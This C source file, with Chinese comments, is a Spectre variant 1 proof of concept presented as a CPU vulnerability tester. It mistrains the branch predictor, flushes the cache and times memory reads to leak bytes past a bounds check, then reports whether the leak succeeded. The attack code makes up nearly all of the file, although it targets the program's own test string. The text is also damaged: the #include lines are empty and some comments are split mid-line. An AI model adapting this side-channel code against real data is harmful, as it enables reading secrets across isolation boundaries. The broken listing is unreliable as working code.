/*
   modify by:CSZQ
*/
/*
   配置
*/
#define __DEBUG            0                                               // 除錯模式開關，會開啟額外輸出
#define __TRYTIMES     50                                              // 每個字元嘗試讀取次數
/*
   測試讀取的資料
*/
#define __MAGICWORDS 
"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"   
#define __MAGICWORDSCOUNT (sizeof(__MAGICWORDS) - 1)                // 測試資料長度
/*
   cache 命中閥值，是一個經驗值，不成功9.9可能這裡不對，預設值 50 ，可以通過 -t 傳參修改
   該數值與記憶體質量、CPU多項引數有關，是一個經驗值，下面給出一些基於本帥移動端的 CPU Intel I7-4700MQ 給出的引數取值
   取值大致範圍：16 - 176
*/
#define CACHE_HIT_THRESHOLD (50)
/*
   標頭檔案
*/
#include 
#include 
#include 
#include 
#pragma optimize("gt",on)
/*
   全域性變數
*/
unsigned int array1_size = 16;                                          // 排除 ASCII 碼錶前 16 個字元
uint8_t array1[160]      = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };    // 一個字典
uint8_t array2[256 * 512];                                               // 256 對應 ASCII 碼錶
const char *secret       = __MAGICWORDS;                              // 測試讀取的資料
int iThreshold           = CACHE_HIT_THRESHOLD;                            // 讀取時間閥值
/*
   使用 temp 全域性變數阻止編譯器優化 victim_function()
*/
uint8_t temp = 0;
void victim_function(size_t x) {
   /*
       x 取值 0 - 15 時 獲取 arrary2 的 1 - 16 分組 & temp 後賦值給 temp
       temp 一直為 0
       發生 evil 分支預測：
       array1[x] 在 5 次分支預測時載入的值就是當前需要讀取的虛擬地址
       array2[array1[x] * 512] 在 5 次分支預測期間讀取的是 標準ASCII 0 - 127 * 512 所在地址的 array2 陣列內容
       其他分支預測：
       array1[x] cache 中的是根據嘗試次數獲取到的正常 array1 陣列標準值
       array2[array1[x] * 512] 在cache中快取的是 ASCII 碼錶 1 - 16 號字元
   */
   if (x < array1_size) {
       temp &= array2[array1[x] * 512];
   }
}
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
   static int results[256];                                          // 對應 ASCII 碼錶
   int tries, i, j, k, mix_i;
   unsigned int junk = 0;
   size_t training_x, x;
   register uint64_t time1, time2;
   volatile uint8_t *addr;
   for (i = 0; i < 256; i++)
       results[i] = 0;
   /*
       每個字元多次嘗試獲取以增加成功率
   */
   for (tries = __TRYTIMES; tries > 0; tries--) {
       /*
           清空 array2 的每 512 位元組首地址 cache
       */
       for (i = 0; i < 256; i++)
 
          _mm_clflush(&array2[i * 512]);                             
   // _mm_clflush：Invalidate and flush the cache line that contains p 
from all levels of the cache hierarchy
       training_x = tries % array1_size;
       /*
           訓練 CPU 快取需要的資料
       */
       for (j = 29; j >= 0; j--) {
           _mm_clflush(&array1_size);                                  // 清空 array1_size 的快取
           /*
               100 次記憶體取值用作延時，確保 cache 頁全部換出
           */
           for (volatile int z = 0; z < 100; z++) {}
           /*
               在這一步:
               j % 6 =  0 則 x = 0xFFFF0000
               j % 6 != 0 則 x = 0x00000000
               Avoid jumps in case those tip off the branch predictor
           */
           x = ((j % 6) - 1) & ~0xFFFF;
           /*
               到這裡:
               j % 6 =  0 則 x = 0xFFFFFFFF
               j % 6 != 0 則 x = 0x00000000
           */
           x = (x | (x >> 16));
           /*
               最後:
               j % 6 =  0 則 x = malicious_x
               j % 6 != 0 則 x = training_x
           */
           x = training_x ^ (x & (malicious_x ^ training_x));
           /*
               呼叫觸發 cache 程式碼
               共計觸發 5 次，j = 24、18、12、6、0時，都會觸發分支預測
           */
           victim_function(x);
       }
       /*
           退出此函式時 cache 中已經快取了需要越權獲取的資料
       */
       /*
           讀取時間。執行順序輕微混淆防止 stride prediction（某種分支預測方法）
           i 取值 0 - 255 對應 ASCII 碼錶
       */
       for (i = 0; i < 256; i++) {
           /*
               TODO: 賊NB的數學遊戲，值得叫 666
               167  0xA7  1010 0111
               13   0x0D  0000 1101
               取值結果為 0 - 255 隨機數且不重複
           */
           mix_i = ((i * 167) + 13) & 255;
           /*
               addr 取 arrary2 中 0-255 組的首地址
           */
           addr = &array2[mix_i * 512];
           /*
               junk 儲存 TSC_AUX 暫存器值
               time1 儲存當前時間戳
           */
           time1 = __rdtscp(&junk);
           /*
               獲取資料，用以測試時間
           */
           junk = *addr;
           /*
               記錄並獲取耗時
           */
           time2 = __rdtscp(&junk) - time1;
           /*
               判斷是否命中，且 mix_i 不能取 1 - 16，因為 1 - 16 在獲取時是無效的
           */
           if (time2 <= iThreshold && mix_i != array1[tries % array1_size])
               /*
               cache arrary2中的 0-255 項命中則 +1 分
               */
               results[mix_i]++;
       }
       /*
           獲取分組中命中率最高的兩個分組，分別儲存在 j(最高命中),k（次高命中） 裡
       */
       j = k = -1;
       for (i = 0; i < 256; i++) {
           if (j < 0 || results[i] >= results[j]) {
               k = j;
               j = i;
           }
           else if (k < 0 || results[i] >= results[k]) {
               k = i;
           }
       }
       /*
           最高命中項命中次數大於 2 倍加 5 的次高命中項次數
           或
           僅僅最高命中項命中 2 次
           則
           退出迴圈，成功找到命中項
       */
       if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
           break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
   }
   /*
       使用 junk 防止優化輸出
   */
   results[0] ^= junk;
   value[0] = (uint8_t)j;//最高命中項
   score[0] = results[j];//最高命中項命中次數
   value[1] = (uint8_t)k;//次高命中項
   score[1] = results[k];//次高命中項命中次數
}
int main(int argc, const char **argv) {
   size_t malicious_x = (size_t)(secret - (char*)array1); /* 相對地址 */
   int i, score[2], iLen = __MAGICWORDSCOUNT, iCount = 0;
   char *opt, *addr;
   uint8_t value[2];
   printf("Provide by CSZQ\n");
   /*
       引數解析
   */
   if (argc > 1) {
       opt = (char*)&argv[1][1];
       switch (*opt) {
       case 'h':
           printf("-h  help\n-t 設定閥值，建議取值 16 - 176 之間，預設 50\n");
           return 0;
       case 't':
           if (argc==2) {
               sscanf(opt + 1, "%d", &iThreshold);
           }
           else {
               sscanf(argv[2], "%d", &iThreshold);
           }
           break;
       }
   }
   for (i = 0; i < sizeof(array2); i++)
       array2[i] = 1; /* 避免寫時複製 */
#if __DEBUG > 0
   printf("Reading %d bytes:\n", iLen);
#endif
   i = iLen;
   while (--i >= 0) {
#if __DEBUG > 0
       printf("讀取地址：%p ", (void*)malicious_x);
#endif
       readMemoryByte(malicious_x++, value, score);
       addr = (char*)array1 + malicious_x - 1;
       if (value[0] == *addr) {
           iCount += (score[0] > 2 * score[1]) ? 1 : 0;
       }
#if __DEBUG > 0
       /*
           如果最高命中項命中次數大於等於 2 倍的次高命中項，認為分支預測成功
       */
       printf("%s: ", (score[0] >= 2 * score[1] ? "成功" : "...."));
       printf("value:0x%02X char=%c counts=%d ", value[0],
           ((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[0]);
       if (score[1] > 0)
 
          printf("(可能:value:0x%02X char=%c counts=%d)", value[1], 
((value[0] > 31 && value[0] < 127) ? (char)value[0] : 
'?'), score[1]);
       printf("\n");
#endif
   }
   /*
       命中次數超過 1/5 認為存在BUG，過低有可能是巧合或閥值需要調整
   */
   printf("%s\r\n", (iCount >= __MAGICWORDSCOUNT / 5) ? "--->存在BUG！！!<---" : "--->不存在BUG<---");
   printf("%d 閥值下命中率為:%d / %d\r\n", iThreshold, iCount, iLen);
   printf("按任意鍵退出程式...\r\n");
   getchar();
   return (0);
}